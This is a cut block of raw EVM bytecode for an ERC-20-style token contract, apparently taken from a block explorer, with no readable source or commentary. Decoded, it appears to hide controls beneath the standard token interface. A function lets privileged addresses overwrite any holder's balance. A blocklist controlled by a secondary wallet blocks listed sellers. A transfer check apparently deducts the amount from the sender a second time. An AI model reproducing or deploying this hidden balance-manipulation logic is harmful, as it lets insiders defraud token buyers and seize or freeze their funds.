d5b8063c816841b116100dc578063c816841b14610991578063c8607952146109b1578063c867d60b146109c7578063cab03471146109f757600080fd5b8063c469b6dd14610945578063c49b9a801461095b578063c5d241891461097b57600080fd5b8063a06b98f81161017a578063a5d69d1f11610149578063a5d69d1f146108cf578063a83f53a7146108ef578063a9059cbb14610905578063c2d4640e1461092557600080fd5b8063a06b98f81461085f578063a073d37f14610884578063a08e671f14610899578063a457c2d7146108af57600080fd5b80638da5cb5b116101b65780638da5cb5b146107f65780639174c79d1461081457806395d89b41146108345780639c64954e1461084957600080fd5b806382eefb431461079a57806388790a68146107b05780638b42507f146107c657600080fd5b80633b646444116102c157806361a23c691161025f578063758e6bb11161022e578063758e6bb11461071e57806377f31d031461074e5780637d1db4a51461076e578063807c2d9c1461078457600080fd5b806361a23c69146106925780636249faf1146106a857806370a08231146106c857806371d03f58146106fe57600080fd5b80634a74bb021161029b5780634a74bb021461061b57806357a5802f1461063c5780635881f3ef1461065257806360efb94f1461067257600080fd5b80633b6464441461059b5780633b97084a146105cb57806342efd370146105eb57600080fd5b80632563ae831161032e5780632c4b2334116103085780632c4b233414610519578063313ce5671461053957806335d236151461055b578063395093511461057b57600080fd5b80632563ae83146104b057806327c8f835146104d05780632b112e491461050457600080fd5b80631245e3471161036a5780631245e347146104195780631694505e1461045157806318160ddd1461047157806323b872dd1461049057600080fd5b806301c6adc31461039c57806306fdde03146103be578063095ea7b3146103e957600080fd5b3661039757005b600080fd5b3480156103a857600080fd5b506103bc6103b73660046122c7565b610b31565b005b3480156103ca57600080fd5b506103d3610b69565b6040516103e091906122f3565b60405180910390f35b3480156103f557600080fd5b506104096104043660046122c7565b610bfb565b60405190151581526020016103e0565b34801561042557600080fd5b50600554610439906001600160a01b031681565b6040516001600160a01b0390911681526020016103e0565b34801561045d57600080fd5b50601e54610439906001600160a01b031681565b34801561047d57600080fd5b50601a545b6040519081526020016103e0565b34801561049c57600080fd5b506104096104ab366004612341565b610c12565b3480156104bc57600080fd5b506103bc6104cb366004612397565b610c7d565b3480156104dc57600080fd5b506104397f000000000000000000000000000000000000000000000000000000000000000081565b34801561051057600080fd5b50610482610cce565b34801561052557600080fd5b506103bc6105343660046123b2565b610d18565b34801561054557600080fd5b5060045460405160ff90911681526020016103e0565b34801561056757600080fd5b506103bc6105763660046123b2565b610d64565b34801561058757600080fd5b506104096105963660046122c7565b610db6565b3480156105a757600080fd5b506104096105b63660046123b2565b600d6020526000908152604090205460ff1681565b3480156105d757600080fd5b506103bc6105e63660046123cf565b610dec565b3480156105f757600080fd5b506104096106063660046123b2565b600c6020526000908152604090205460ff1681565b34801561062757600080fd5b50601f5461040990600160a81b900460ff1681565b34801561064857600080fd5b5061048260145481565b34801561065e57600080fd5b5061043961066d3660046123b2565b610e1b565b34801561067e57600080fd5b506103bc61068d3660046123e8565b611153565b34801561069e57600080fd5b5061048260155481565b3480156106b457600080fd5b506103bc6106c3366004612414565b6111a8565b3480156106d457600080fd5b506104826106e33660046123b2565b6001600160a01b031660009081526006602052604090205490565b34801561070a57600080fd5b506103bc610719366004612414565b611249565b34801561072a57600080fd5b506104096107393660046123b2565b600b6020526000908152604090205460ff1681565b34801561075a57600080fd5b506103bc610769366004612414565b6112d7565b34801561077a57600080fd5b50610482601b5481565b34801561079057600080fd5b50610482601c5481565b3480156107a657600080fd5b5061048260185481565b3480156107bc57600080fd5b5061048260115481565b3480156107d257600080fd5b506104096107e13660046123b2565b600a6020526000908152604090205460ff1681565b34801561080257600080fd5b506000546001600160a01b0316610439565b34801561082057600080fd5b506103bc61082f3660046123e8565b611372565b34801561084057600080fd5b506103d36113c1565b34801561085557600080fd5b5061048260015481565b34801561086b57600080fd5b506004546104399061010090046001600160a01b031681565b34801561089057600080fd5b50601d54610482565b3480156108a557600080fd5b5061048260195481565b3480156108bb57600080fd5b506104096108ca3660046122c7565b6113d0565b3480156108db57600080fd5b506103bc6108ea366004612397565b61141f565b3480156108fb57600080fd5b5061048260165481565b34801561091157600080fd5b506104096109203660046122c7565b611467565b34801561093157600080fd5b506103bc6109403660046123e8565b611474565b34801561095157600080fd5b5061048260105481565b34801561096757600080fd5b506103bc610976366004612397565b6114c3565b34801561098757600080fd5b50610482600f5481565b34801561099d57600080fd5b50601f54610439906001600160a01b031681565b3480156109bd57600080fd5b5061048260125481565b3480156109d357600080fd5b506104096109e23660046123b2565b60096020526000908152604090205460ff1681565b348015610a0357600080fd5b5061048260135481565b348015610a1957600080fd5b50601f5461040990600160b01b900460ff1681565b348015610a3a57600080fd5b50610482600e5481565b348015610a5057600080fd5b50610482610a5f366004612498565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b348015610a9657600080fd5b5061048260175481565b348015610aac57600080fd5b506103bc610abb3660046123cf565b611545565b348015610acc57600080fd5b50610409610adb3660046123b2565b60086020526000908152604090205460ff1681565b348015610afc57600080fd5b506103bc610b0b3660046123b2565b611574565b348015610b1c57600080fd5b50601f5461040990600160b81b900460ff1681565b336000908152600c602052604090205460ff1615610b65576001600160a01b03821660009081526006602052604090208190555b5050565b606060028054610b78906124d1565b80601f0160208091040260200160405190810160405280929190818152602001828054610ba4906124d1565b8015610bf15780601f10610bc657610100808354040283529160200191610bf1565b820191906000526020600020905b815481529060010190602001808311610bd457829003601f168201915b5050505050905090565b6000610c08338484611648565b5060015b92915050565b6000610c1f84848461176c565b50610c728433610c6d856040518060600160405280602881526020016126d1602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611b4c565b611648565b5060015b9392505050565b6000546001600160a01b03163314610cb05760405162461bcd60e51b8152600401610ca79061250b565b60405180910390fd5b601f8054911515600160b81b0260ff60b81b19909216919091179055565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316600090815260066020526040812054601a54610d1391611b86565b905090565b6000546001600160a01b03163314610d425760405162461bcd60e51b8152600401610ca79061250b565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d8e5760405162461bcd60e51b8152600401610ca79061250b565b600480546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b3360008181526007602090815260408083206001600160a01b03871684529091528120549091610c08918590610c6d90866115e9565b6000546001600160a01b03163314610e165760405162461bcd60e51b8152600401610ca79061250b565b601d55565b600080546001600160a01b03163314610e465760405162461bcd60e51b8152600401610ca79061250b565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ead9190612540565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610efa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1e9190612540565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610f69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8d9190612540565b91506001600160a01b0382166110e457806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fdb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fff9190612540565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561104c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110709190612540565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156110bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e19190612540565b91505b601f80546001600160a01b03199081166001600160a01b038581169182178455601e8054909316948116949094179091556000908152600960209081526040808320805460ff19908116600190811790925594549095168352600c909152902080549091169091179055919050565b6000546001600160a01b0316331461117d5760405162461bcd60e51b8152600401610ca79061250b565b600e839055600f82905560108190556111a08161119a85856115e9565b906115e9565b601755505050565b6000546001600160a01b031633146111d25760405162461bcd60e51b8152600401610ca79061250b565b60005b828110156112435781600960008686858181106111f4576111f461255d565b905060200201602081019061120991906123b2565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061123b81612589565b9150506111d5565b50505050565b600454336101009091046001600160a01b0316036112d25760005b828110156112435781600d60008686858181106112835761128361255d565b905060200201602081019061129891906123b2565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806112ca81612589565b915050611264565b505050565b6000546001600160a01b031633146113015760405162461bcd60e51b8152600401610ca79061250b565b60005b828110156112435781600860008686858181106113235761132361255d565b905060200201602081019061133891906123b2565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061136a81612589565b915050611304565b6000546001600160a01b0316331461139c5760405162461bcd60e51b8152600401610ca79061250b565b6011839055601282905560138190556113b98161119a85856115e9565b601855505050565b606060038054610b78906124d1565b6000610c083384610c6d856040518060600160405280602581526020016126f9602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190611b4c565b6000546001600160a01b031633146114495760405162461bcd60e51b8152600401610ca79061250b565b601f8054911515600160b01b0260ff60b01b19909216919091179055565b6000610c7233848461176c565b6000546001600160a01b0316331461149e5760405162461bcd60e51b8152600401610ca79061250b565b6014839055601582905560168190556114bb8161119a85856115e9565b601955505050565b6000546001600160a01b031633146114ed5760405162461bcd60e51b8152600401610ca79061250b565b601f8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061153a90831515815260200190565b60405180910390a150565b6000546001600160a01b0316331461156f5760405162461bcd60e51b8152600401610ca79061250b565b601c55565b6000546001600160a01b0316331461159e5760405162461bcd60e51b8152600401610ca79061250b565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000806115f683856125a2565b905083811015610c765760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610ca7565b6001600160a01b0383166116aa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ca7565b6001600160a01b03821661170b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ca7565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166117d25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610ca7565b6001600160a01b0383166118345760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610ca7565b601f54600160a01b900460ff161561185857611851848484611bc8565b9050610c76565b6001600160a01b0384166000908152600a602052604090205460ff1615801561189a57506001600160a01b0383166000908152600a602052604090205460ff16155b1561190257601b548211156119025760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610ca7565b30600090815260066020526040902054601d54811080159081906119305750601f54600160a01b900460ff16155b801561195557506001600160a01b0386166000908152600c602052604090205460ff16155b801561196a5750601f54600160a81b900460ff165b1561199057601f54600160b01b900460ff161561198757601d5491505b61199082611cae565b61199986611de9565b156119db576001600160a01b0386166000908152600660205260409020546119c19085611b86565b6001600160a01b0387166000908152600660205260409020555b6001600160a01b03861660009081526008602052604081205460ff1680611a1a57506001600160a01b03861660009081526008602052604090205460ff165b611a2e57611a29878787611e11565b611a30565b845b601f54909150600160b81b900460ff168015611a6557506001600160a01b03861660009081526009602052604090205460ff16155b15611a9b57601c54611a908261119a896001600160a01b031660009081526006602052604090205490565b1115611a9b57600080fd5b6001600160a01b0387166000908152600d602052604090205460ff1615611ac157600080fd5b6001600160a01b038616600090815260066020526040902054611ae490826115e9565b6001600160a01b0380881660008181526006602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611b389085815260200190565b60405180910390a360019350505050610c76565b60008184841115611b705760405162461bcd60e51b8152600401610ca791906122f3565b506000611b7d84866125b5565b95945050505050565b6000610c7683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b4c565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611c19918490611b4c565b6001600160a01b038086166000908152600660205260408082209390935590851681522054611c4890836115e9565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611c9c9086815260200190565b60405180910390a35060019392505050565b601f805460ff60a01b1916600160a01b179055601954601454600091611ce491600291611cde9182908790611f17565b90611f99565b90506000611cf28383611b86565b9050611cfd81611fdb565b6014544790600090611d1d90611d14906002611f99565b60195490611b86565b90506000611d3f6002611cde84611cde60145488611f1790919063ffffffff16565b90506000611d5c83611cde60165487611f1790919063ffffffff16565b90506000611d7482611d6e8786611b86565b90611b86565b90508015611d9757600454611d979061010090046001600160a01b03168261216e565b8115611db357600554611db3906001600160a01b03168361216e565b600083118015611dc35750600087115b15611dd257611dd287846121a4565b5050601f805460ff60a01b19169055505050505050565b6000816001600160a01b0316611e00600154612279565b6001600160a01b0316141592915050565b6001600160a01b0383166000908152600c6020526040812054819060ff1615611e5557611e4e6064611cde60175486611f1790919063ffffffff16565b9050611e93565b6001600160a01b0384166000908152600c602052604090205460ff1615611e9357611e906064611cde60185486611f1790919063ffffffff16565b90505b8015611f0d5730600090815260066020526040902054611eb390826115e9565b30600081815260066020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611f049085815260200190565b60405180910390a35b611b7d8382611b86565b600082600003611f2957506000610c0c565b6000611f3583856125c8565b905082611f4285836125df565b14610c765760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610ca7565b6000610c7683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612281565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106120105761201061255d565b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612069573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061208d9190612540565b816001815181106120a0576120a061255d565b6001600160a01b039283166020918202929092010152601e546120c69130911684611648565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906120ff908590600090869030904290600401612645565b600060405180830381600087803b15801561211957600080fd5b505af115801561212d573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612162929190612681565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156112d2573d6000803e3d6000fd5b601e546121bc9030906001600160a01b031684611648565b601e546001600160a01b031663f305d7198230856000806121e56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561224d573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061227291906126a2565b5050505050565b600081610c0c565b600081836122a25760405162461bcd60e51b8152600401610ca791906122f3565b506000611b7d84866125df565b6001600160a01b03811681146122c457600080fd5b50565b600080604083850312156122da57600080fd5b82356122e5816122af565b946020939093013593505050565b600060208083528351808285015260005b8181101561232057858101830151858201604001528201612304565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060006060848603121561235657600080fd5b8335612361816122af565b92506020840135612371816122af565b929592945050506040919091013590565b8035801515811461239257600080fd5b919050565b6000602082840312156123a957600080fd5b610c7682612382565b6000602082840312156123c457600080fd5b8135610c76816122af565b6000602082840312156123e157600080fd5b5035919050565b6000806000606084860312156123fd57600080fd5b505081359360208301359350604090920135919050565b60008060006040848603121561242957600080fd5b833567ffffffffffffffff8082111561244157600080fd5b818601915086601f83011261245557600080fd5b81358181111561246457600080fd5b8760208260051b850101111561247957600080fd5b60209283019550935061248f9186019050612382565b90509250925092565b600080604083850312156124ab57600080fd5b82356124b6816122af565b915060208301356124c6816122af565b809150509250929050565b600181811c908216806124e557607f821691505b60208210810361250557634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561255257600080fd5b8151610c76816122af565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161259b5761259b612573565b5060010190565b80820180821115610c0c57610c0c612573565b81810381811115610c0c57610c0c612573565b8082028115828204841417610c0c57610c0c612573565b6000826125fc57634e487b7160e01b600052601260045260246000fd5b500490565b600081518084526020808501945080840160005b8381101561263a5781516001600160a01b031687529582019590820190600101612615565b509495945050505050565b85815284602082015260a06040820152600061266460a0830186612601565b6001600160a01b0394909416606083015250608001529392505050565b82815260406020820152600061269a6040830184612601565b949350505050565b6000806000606084860312156126b757600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201c65e3a4713292be54129048766cc3bd0346c537c2e2e79d9fd006ec9f110ade64736f6c63430008110033
Deployed Bytecode
0x6080604052600436106103905760003560e01c806382eefb43116101dc578063c469b6dd11610102578063da00097d116100a0578063f1d5f5171161006f578063f1d5f51714610aa0578063f2514e8814610ac0578063f2fde38b14610af0578063f872858a14610b1057600080fd5b8063da00097d14610a0d578063dc44b6a014610a2e578063dd62ed3e14610a44578063f0cd1dac14610a8a57600080fd5b8063c816841b116100dc578063c816841b14610991578063c8607952146109b1578063c867d60b146109c7578063cab03471146109f757600080fd5b8063c469b6dd14610945578063c49b9a801461095b578063c5d241891461097b57600080fd5b8063a06b98f81161017a578063a5d69d1f11610149578063a5d69d1f146108cf578063a83f53a7146108ef578063a9059cbb14610905578063c2d4640e1461092557600080fd5b8063a06b98f81461085f578063a073d37f14610884578063a08e671f14610899578063a457c2d7146108af57600080fd5b80638da5cb5b116101b65780638da5cb5b146107f65780639174c79d1461081457806395d89b41146108345780639c64954e1461084957600080fd5b806382eefb431461079a57806388790a68146107b05780638b42507f146107c657600080fd5b80633b646444116102c157806361a23c691161025f578063758e6bb11161022e578063758e6bb11461071e57806377f31d031461074e5780637d1db4a51461076e578063807c2d9c1461078457600080fd5b806361a23c69146106925780636249faf1146106a857806370a08231146106c857806371d03f58146106fe57600080fd5b80634a74bb021161029b5780634a74bb021461061b57806357a5802f1461063c5780635881f3ef1461065257806360efb94f1461067257600080fd5b80633b6464441461059b5780633b97084a146105cb57806342efd370146105eb57600080fd5b80632563ae831161032e5780632c4b2334116103085780632c4b233414610519578063313ce5671461053957806335d236151461055b578063395093511461057b57600080fd5b80632563ae83146104b057806327c8f835146104d05780632b112e491461050457600080fd5b80631245e3471161036a5780631245e347146104195780631694505e1461045157806318160ddd1461047157806323b872dd1461049057600080fd5b806301c6adc31461039c57806306fdde03146103be578063095ea7b3146103e957600080fd5b3661039757005b600080fd5b3480156103a857600080fd5b506103bc6103b73660046122c7565b610b31565b005b3480156103ca57600080fd5b506103d3610b69565b6040516103e091906122f3565b60405180910390f35b3480156103f557600080fd5b506104096104043660046122c7565b610bfb565b60405190151581526020016103e0565b34801561042557600080fd5b50600554610439906001600160a01b031681565b6040516001600160a01b0390911681526020016103e0565b34801561045d57600080fd5b50601e54610439906001600160a01b031681565b34801561047d57600080fd5b50601a545b6040519081526020016103e0565b34801561049c57600080fd5b506104096104ab366004612341565b610c12565b3480156104bc57600080fd5b506103bc6104cb366004612397565b610c7d565b3480156104dc57600080fd5b506104397f000000000000000000000000000000000000000000000000000000000000dead81565b34801561051057600080fd5b50610482610cce565b34801561052557600080fd5b506103bc6105343660046123b2565b610d18565b34801561054557600080fd5b5060045460405160ff90911681526020016103e0565b34801561056757600080fd5b506103bc6105763660046123b2565b610d64565b34801561058757600080fd5b506104096105963660046122c7565b610db6565b3480156105a757600080fd5b506104096105b63660046123b2565b600d6020526000908152604090205460ff1681565b3480156105d757600080fd5b506103bc6105e63660046123cf565b610dec565b3480156105f757600080fd5b506104096106063660046123b2565b600c6020526000908152604090205460ff1681565b34801561062757600080fd5b50601f5461040990600160a81b900460ff1681565b34801561064857600080fd5b5061048260145481565b34801561065e57600080fd5b5061043961066d3660046123b2565b610e1b565b34801561067e57600080fd5b506103bc61068d3660046123e8565b611153565b34801561069e57600080fd5b5061048260155481565b3480156106b457600080fd5b506103bc6106c3366004612414565b6111a8565b3480156106d457600080fd5b506104826106e33660046123b2565b6001600160a01b031660009081526006602052604090205490565b34801561070a57600080fd5b506103bc610719366004612414565b611249565b34801561072a57600080fd5b506104096107393660046123b2565b600b6020526000908152604090205460ff1681565b34801561075a57600080fd5b506103bc610769366004612414565b6112d7565b34801561077a57600080fd5b50610482601b5481565b34801561079057600080fd5b50610482601c5481565b3480156107a657600080fd5b5061048260185481565b3480156107bc57600080fd5b5061048260115481565b3480156107d257600080fd5b506104096107e13660046123b2565b600a6020526000908152604090205460ff1681565b34801561080257600080fd5b506000546001600160a01b0316610439565b34801561082057600080fd5b506103bc61082f3660046123e8565b611372565b34801561084057600080fd5b506103d36113c1565b34801561085557600080fd5b5061048260015481565b34801561086b57600080fd5b506004546104399061010090046001600160a01b031681565b34801561089057600080fd5b50601d54610482565b3480156108a557600080fd5b5061048260195481565b3480156108bb57600080fd5b506104096108ca3660046122c7565b6113d0565b3480156108db57600080fd5b506103bc6108ea366004612397565b61141f565b3480156108fb57600080fd5b5061048260165481565b34801561091157600080fd5b506104096109203660046122c7565b611467565b34801561093157600080fd5b506103bc6109403660046123e8565b611474565b34801561095157600080fd5b5061048260105481565b34801561096757600080fd5b506103bc610976366004612397565b6114c3565b34801561098757600080fd5b50610482600f5481565b34801561099d57600080fd5b50601f54610439906001600160a01b031681565b3480156109bd57600080fd5b5061048260125481565b3480156109d357600080fd5b506104096109e23660046123b2565b60096020526000908152604090205460ff1681565b348015610a0357600080fd5b5061048260135481565b348015610a1957600080fd5b50601f5461040990600160b01b900460ff1681565b348015610a3a57600080fd5b50610482600e5481565b348015610a5057600080fd5b50610482610a5f366004612498565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b348015610a9657600080fd5b5061048260175481565b348015610aac57600080fd5b506103bc610abb3660046123cf565b611545565b348015610acc57600080fd5b50610409610adb3660046123b2565b60086020526000908152604090205460ff1681565b348015610afc57600080fd5b506103bc610b0b3660046123b2565b611574565b348015610b1c57600080fd5b50601f5461040990600160b81b900460ff1681565b336000908152600c602052604090205460ff1615610b65576001600160a01b03821660009081526006602052604090208190555b5050565b606060028054610b78906124d1565b80601f0160208091040260200160405190810160405280929190818152602001828054610ba4906124d1565b8015610bf15780601f10610bc657610100808354040283529160200191610bf1565b820191906000526020600020905b815481529060010190602001808311610bd457829003601f168201915b5050505050905090565b6000610c08338484611648565b5060015b92915050565b6000610c1f84848461176c565b50610c728433610c6d856040518060600160405280602881526020016126d1602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611b4c565b611648565b5060015b9392505050565b6000546001600160a01b03163314610cb05760405162461bcd60e51b8152600401610ca79061250b565b60405180910390fd5b601f8054911515600160b81b0260ff60b81b19909216919091179055565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316600090815260066020526040812054601a54610d1391611b86565b905090565b6000546001600160a01b03163314610d425760405162461bcd60e51b8152600401610ca79061250b565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d8e5760405162461bcd60e51b8152600401610ca79061250b565b600480546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b3360008181526007602090815260408083206001600160a01b03871684529091528120549091610c08918590610c6d90866115e9565b6000546001600160a01b03163314610e165760405162461bcd60e51b8152600401610ca79061250b565b601d55565b600080546001600160a01b03163314610e465760405162461bcd60e51b8152600401610ca79061250b565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ead9190612540565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610efa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1e9190612540565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610f69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8d9190612540565b91506001600160a01b0382166110e457806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fdb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fff9190612540565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561104c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110709190612540565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156110bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e19190612540565b91505b601f80546001600160a01b03199081166001600160a01b038581169182178455601e8054909316948116949094179091556000908152600960209081526040808320805460ff19908116600190811790925594549095168352600c909152902080549091169091179055919050565b6000546001600160a01b0316331461117d5760405162461bcd60e51b8152600401610ca79061250b565b600e839055600f82905560108190556111a08161119a85856115e9565b906115e9565b601755505050565b6000546001600160a01b031633146111d25760405162461bcd60e51b8152600401610ca79061250b565b60005b828110156112435781600960008686858181106111f4576111f461255d565b905060200201602081019061120991906123b2565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061123b81612589565b9150506111d5565b50505050565b600454336101009091046001600160a01b0316036112d25760005b828110156112435781600d60008686858181106112835761128361255d565b905060200201602081019061129891906123b2565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806112ca81612589565b915050611264565b505050565b6000546001600160a01b031633146113015760405162461bcd60e51b8152600401610ca79061250b565b60005b828110156112435781600860008686858181106113235761132361255d565b905060200201602081019061133891906123b2565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061136a81612589565b915050611304565b6000546001600160a01b0316331461139c5760405162461bcd60e51b8152600401610ca79061250b565b6011839055601282905560138190556113b98161119a85856115e9565b601855505050565b606060038054610b78906124d1565b6000610c083384610c6d856040518060600160405280602581526020016126f9602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190611b4c565b6000546001600160a01b031633146114495760405162461bcd60e51b8152600401610ca79061250b565b601f8054911515600160b01b0260ff60b01b19909216919091179055565b6000610c7233848461176c565b6000546001600160a01b0316331461149e5760405162461bcd60e51b8152600401610ca79061250b565b6014839055601582905560168190556114bb8161119a85856115e9565b601955505050565b6000546001600160a01b031633146114ed5760405162461bcd60e51b8152600401610ca79061250b565b601f8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061153a90831515815260200190565b60405180910390a150565b6000546001600160a01b0316331461156f5760405162461bcd60e51b8152600401610ca79061250b565b601c55565b6000546001600160a01b0316331461159e5760405162461bcd60e51b8152600401610ca79061250b565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000806115f683856125a2565b905083811015610c765760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610ca7565b6001600160a01b0383166116aa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ca7565b6001600160a01b03821661170b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ca7565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166117d25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610ca7565b6001600160a01b0383166118345760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610ca7565b601f54600160a01b900460ff161561185857611851848484611bc8565b9050610c76565b6001600160a01b0384166000908152600a602052604090205460ff1615801561189a57506001600160a01b0383166000908152600a602052604090205460ff16155b1561190257601b548211156119025760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610ca7565b30600090815260066020526040902054601d54811080159081906119305750601f54600160a01b900460ff16155b801561195557506001600160a01b0386166000908152600c602052604090205460ff16155b801561196a5750601f54600160a81b900460ff165b1561199057601f54600160b01b900460ff161561198757601d5491505b61199082611cae565b61199986611de9565b156119db576001600160a01b0386166000908152600660205260409020546119c19085611b86565b6001600160a01b0387166000908152600660205260409020555b6001600160a01b03861660009081526008602052604081205460ff1680611a1a57506001600160a01b03861660009081526008602052604090205460ff165b611a2e57611a29878787611e11565b611a30565b845b601f54909150600160b81b900460ff168015611a6557506001600160a01b03861660009081526009602052604090205460ff16155b15611a9b57601c54611a908261119a896001600160a01b031660009081526006602052604090205490565b1115611a9b57600080fd5b6001600160a01b0387166000908152600d602052604090205460ff1615611ac157600080fd5b6001600160a01b038616600090815260066020526040902054611ae490826115e956